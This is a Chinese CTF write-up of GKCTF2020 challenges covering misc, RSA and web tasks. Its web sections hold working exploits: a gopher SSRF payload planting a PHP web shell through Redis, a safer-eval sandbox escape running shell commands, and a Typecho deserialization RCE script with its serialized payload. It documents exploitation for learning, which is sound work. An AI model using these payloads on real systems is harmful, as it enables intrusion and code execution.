部分WP(補)-GKCTF2020

本篇內容

MISC:

[GKCTF2020]Harley Quinn
[GKCTF2020]Sail a boat down the river

Crypto:

[GKCTF2020]Backdoor

Web:

[GKCTF2020]cve版簽到
[GKCTF2020]EZ三劍客-EzWeb
[GKCTF2020]EZ三劍客-EzNode
[GKCTF2020]EZ三劍客-EzTypecho

上一篇 | 目錄 | 下一篇

以下內容參考官方WP,在GKCTF的QQ羣文件裏的GKCTF2020_官方WriteUp.pdf文件。

[GKCTF2020]Harley Quinn

音頻解碼可能有誤差,密碼爲有意義的無空格小寫短句 解密版本爲1.25
hint1:電話音&九宮格
hint2:FreeFileCamouflage,下載的文件可能顯示亂碼

壓縮包打開有提示:
在這裏插入圖片描述
聽一下Heathens.wav,歌的最後有撥號音,提取出來,我將它命令爲aaa.wav。
使用dtmf2num.exe分析:
在這裏插入圖片描述
然後Heathens.wav裏提示這是密碼。
在這裏插入圖片描述

對着九宮格輸入法解一下就能出密碼。
在這裏插入圖片描述

#22283334447777338866#
#c  tf  i  s   e u n#
這裏我用dtmf2num.exe分析的稍微有點問題,但是結合語義不難發現密碼是“ctfisfun”。

然後使用Free File Camouflage v1.25工具解密即可得到flag。
在這裏插入圖片描述
flag{Pudd1n!!_y0u_F1nd_m3!}





[GKCTF2020]Sail a boat down the river

hint:閃爍的光芒,是一行不是一列,加密方式很常見

首先是flag.mp4視頻裏的二維碼掃描得到一個網盤鏈接。
在這裏插入圖片描述

https://pan.baidu.com/s/1tygt0Nm_G5fTfVFlgxVcrQ

然後是真的想不到的一點,按照視頻裏的攝像頭閃光長短轉換成摩斯密碼
先將視頻轉成幀,我用的ps轉成的共有499幀。在視頻118-130幀、200-208幀、320-334幀、410-418幀有閃爍。短是1幀,⻓是3幀

 -.--/.--/---../--.

解碼得yw8g
打開網盤鏈接取得shudu.txt

0 8 1 7 4 0 0 0 0
3 0 2 0 6 8 0 0 0
4 0 6 5 0 0 8 2 0
0 3 0 0 0 0 0 5 6
7 0 4 3 0 9 2 0 1
1 2 0 0 0 0 0 4 0
0 5 9 0 0 4 1 0 8
0 0 0 1 8 0 9 0 2
0 0 0 0 9 7 4 6 0

密文:
efb851bdc71d72b9ff668bddd30fd6bd
密鑰:
第一列九宮格從左到右從上到下

注意:這裏根據hint知道是寫錯了,是一行不是一列
琳琅在線自動求解數獨,結果如下:
在這裏插入圖片描述
用第一行九宮格從左到右從上到下得到密鑰52693795149137
這裏使用AES的hex加密算法。
在這裏插入圖片描述
自己對AES確實不瞭解,看的官方WP用的這種方式解出來的GG0kc.tf
GG0kc.tf就是題目附件中的vocal.rar的密碼,解壓得到逆光 vocal.ovex文件。
使用Overture 5打譜軟件打開,在歌詞裏看到flag。
在這裏插入圖片描述
flag{gkctf_is_fun}





[GKCTF2020]Backdoor
官方WP就給了一個腳本,說實話我是真的看不懂。以下寫寫我自己的理解。
下載附件,得到flag.encpub.pemtask.py

#!/usr/bin/python
from Crypto.Util.number import *
from Crypto.PublicKey import RSA
import gmpy2, binascii
import base64
from FLAG import flag

def rsa_encrypt(message):
    with open('./pub.pem' ,'r') as f:
        key = RSA.import_key(f.read())
    e = key.e
    n = key.n
    c = pow(bytes_to_long(flag), e, n)
 
    ciphertext = binascii.hexlify(long_to_bytes(c))
    return ciphertext

if __name__ == "__main__":
    text = base64.b64encode(rsa_encrypt(flag))
    with open('flag.enc','wb') as f:
        f.write(text)

首先由pub.pem可以得到e,n,這個是不會變的。

e = 65537
n = 15518961041625074876182404585394098781487141059285455927024321276783831122168745076359780343078011216480587575072479784829258678691739

然後要分解n得到p,q,但是題目中給的p=k*M+(65537**a %M)提示我用不來,但是在http://factordb.com/可以大整數分解得到p,q

p = 4582433561127855310805294456657993281782662645116543024537051682479
q = 3386619977051114637303328519173627165817832179845212640767197001941

知道p,q,e就能得到d

d= 11499569785990181290142150447540986299729313689398043794865222914751456271097337104622884992345120278959213140333860537563347711742153

flag.enc經過base64解密的結果就是ciphertext,進而得到密文c

MDIxNDJhZjdjZTcwZmUwZGRhZTExNmJiN2U5NjI2MDI3NGVlOTI1MmE4Y2I1MjhlN2ZkZDI5ODA5YzJhNjAzMjcyN2MwNTUyNjEzM2FlNDYxMGVkOTQ0NTcyZmYxYWJmY2QwYjE3YWEyMmVmNDRhMg==
#base64解密得到ciphertext
ciphertext = 02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2
#經過bytes_to_long(binascii.unhexlify(ciphertext))得到密文c
c = 5902102609936183530036413041949205016072856184947596155784933422689438216690059498706287388882989673839294236821030261398121787376802

最終py腳本:

#Author: 空舵
from Cryptodome.Util.number import *
from Cryptodome.PublicKey import RSA
import gmpy2, binascii
import base64

def decrypt():
    with open('./pub.pem' ,'r') as f:
        key = RSA.import_key(f.read())
    e = key.e
    n = key.n
    print('e = %d\nn = %d'%(e,n))

    ciphertext = b'02142af7ce70fe0ddae116bb7e96260274ee9252a8cb528e7fdd29809c2a6032727c05526133ae4610ed944572ff1abfcd0b17aa22ef44a2'
    c = bytes_to_long(binascii.unhexlify(ciphertext))
    print('c =',c)
    
    p = 4582433561127855310805294456657993281782662645116543024537051682479
    q = 3386619977051114637303328519173627165817832179845212640767197001941
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    print("d =",d)

    m = pow(c,d,n)
    print('m =',m)
    print('long_to_bytes(m) =',long_to_bytes(m))

if __name__ == "__main__":
    decrypt()

這裏注意,腳本中的Cryptodome可能需要改爲Crypto,我的Crypto庫不能用,只能用這個Cryptodome
在這裏插入圖片描述
得到最終flag:
flag{760958c9-cca9-458b-9cbe-ea07aa1668e4}





[GKCTF2020]cve版簽到
在這裏插入圖片描述

hint:cve-2020-7066

搜索後可以該漏洞:

PHP 7.2.29之前的7.2.x版本、7.3.16之前的7.3.x版本和7.4.4之前的7.4.x版本中的‘get_headers()’函數存在安全漏洞;
get_headers($url)函數中的內容可以被%00截斷。

在這裏插入圖片描述
在這裏插入圖片描述
結合get_headers()函數的漏洞,使用%00截斷使其訪問127.0.0.1
在這裏插入圖片描述
在這裏插入圖片描述
得到最終動態flag。





[GKCTF2020]EZ三劍客-EzWeb
在這裏插入圖片描述
右鍵源代碼看到<!--?secret-->
在這裏插入圖片描述
通過內網探測可以發現173.97.195.11上開着web服務。
在這裏插入圖片描述
根據提示說的是端口,進⼀步發現.11開着6379端⼝
在這裏插入圖片描述
利用gopher://協議進行SSRF。
在這裏插入圖片描述
將生成的127.0.0.1:6379改爲對應的IP:port

gopher:///173.97.195.11:6379/_%2A1%0D%0A%248%0D%0Aflushall%0D%0A%2A3%0D%0A%243%0D%0Aset%0D%0A%241%0D%0A1%0D%0A%2433%0D%0A%0A%0A%3C%3Fphp%20system%28%22cat%20/flag%22%29%3B%3F%3E%20%0A%0A%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%243%0D%0Adir%0D%0A%2413%0D%0A/var/www/html%0D%0A%2A4%0D%0A%246%0D%0Aconfig%0D%0A%243%0D%0Aset%0D%0A%2410%0D%0Adbfilename%0D%0A%249%0D%0Ashell.php%0D%0A%2A1%0D%0A%244%0D%0Asave%0D%0A%0A

在這裏插入圖片描述
點擊提交後直接打開一個新標籤頁訪問173.97.195.11/shell.php即可得到flag。
在這裏插入圖片描述





[GKCTF2020]EZ三劍客-EzNode

Nodejs不會,本題也看不懂,直接照着官方WP做了一遍。還有參考Y1ng師傅的WP

考點:
Nodejs內置函數特性
Nodejs庫漏洞搜尋
saferEval沙箱逃逸
// 2020.1/WORKER2 老闆說爲了後期方便優化
app.use((req, res, next) => {
  if (req.path === '/eval') {
    let delay = 60 * 1000;
    console.log(delay);
    if (Number.isInteger(parseInt(req.query.delay))) {
      delay = Math.max(delay, parseInt(req.query.delay));
    }
    const t = setTimeout(() => next(), delay);
    // 2020.1/WORKER3 老闆說讓我優化一下速度,我就直接這樣寫了,其他人寫了啥關我p事
    setTimeout(() => {
      clearTimeout(t);
      console.log('timeout');
      try {
        res.send('Timeout!');
      } catch (e) {

      }
    }, 1000);
  } else {
    next();
  }
});

app.post('/eval', function (req, res) {
  let response = '';
  if (req.body.e) {
    try {
      response = saferEval(req.body.e);
    } catch (e) {
      response = 'Wrong Wrong Wrong!!!!';
    }
  }
  res.send(String(response));
});
這裏就是拿60*1000與我們傳入的delay進行比較,選一個比較大的數,但是數太大的話就會超時。

setTimeout 當 delay ⼤於 2147483647 或⼩於 1 時,則 delay 將會被設置爲 1。 
⾮整數的 delay 會被截斷爲整數。

所以直接傳入?delay=99999999999繞過timeout。
接着查看版本,猜測是跟safer-eval有關。是saferEval的RCE,雖然它本身是個沙箱來保證eval的安全性,但是可以逃逸,參考https://github.com/commenthol/safer-eval/issues/10
在這裏插入圖片描述
直接拿來用就能拿到flag。

e=clearImmediate.constructor("return process;")().mainModule.require("child_process").execSync("cat /flag").toString()

在這裏插入圖片描述





[GKCTF2020]EZ三劍客-EzTypecho
在這裏插入圖片描述
解題參考GKCTF2020-後四道WEB復現-wpTypecho反序列化漏洞導致前臺getshell
漏洞存在的位置:
在這裏插入圖片描述
exp:

<?php
class Typecho_Feed
{
    const RSS1 = 'RSS 1.0';
    const RSS2 = 'RSS 2.0';
    const ATOM1 = 'ATOM 1.0';
    const DATE_RFC822 = 'r';
    const DATE_W3CDTF = 'c';
    const EOL = "\n";
    private $_type;
    private $_items;

    public function __construct(){
        $this->_type = $this::RSS2;
        $this->_items[0] = array(
            'title' => '1',
            'link' => '1',
            'date' => 1508895132,
            'category' => array(new Typecho_Request()),
            'author' => new Typecho_Request(),
        );
    }
}

class Typecho_Request
{
    private $_params = array();
    private $_filter = array();

    public function __construct(){
        $this->_params['screenName'] = 'system("cat /flag");';
        $this->_filter[0] = 'assert';
    }
}

$exp = array(
    'adapter' => new Typecho_Feed(),
    'prefix' => 'typecho_'
);

echo base64_encode(serialize($exp));
?>

運行得到

YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

又由於必須存在referer。
在這裏插入圖片描述
構造最終payload:

http://e0067099-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cn/install.php?start=

POST:
__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YTo1OntzOjU6InRpdGxlIjtzOjE6IjEiO3M6NDoibGluayI7czoxOiIxIjtzOjQ6ImRhdGUiO2k6MTUwODg5NTEzMjtzOjg6ImNhdGVnb3J5IjthOjE6e2k6MDtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fXM6NjoiYXV0aG9yIjtPOjE1OiJUeXBlY2hvX1JlcXVlc3QiOjI6e3M6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX3BhcmFtcyI7YToxOntzOjEwOiJzY3JlZW5OYW1lIjtzOjIwOiJzeXN0ZW0oImNhdCAvZmxhZyIpOyI7fXM6MjQ6IgBUeXBlY2hvX1JlcXVlc3QAX2ZpbHRlciI7YToxOntpOjA7czo2OiJhc3NlcnQiO319fX19czo2OiJwcmVmaXgiO3M6ODoidHlwZWNob18iO30=

Referer:http://e0067099-feab-4000-b11d-ea7adddb62aa.node3.buuoj.cn/install.php

在這裏插入圖片描述
得到最終flag。





========================================================
上一篇-----------------------------------目錄 -----------------------------------下一篇
========================================================
轉載請註明出處
本文網址:https://blog.csdn.net/hiahiachang/article/details/106334413
========================================================

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章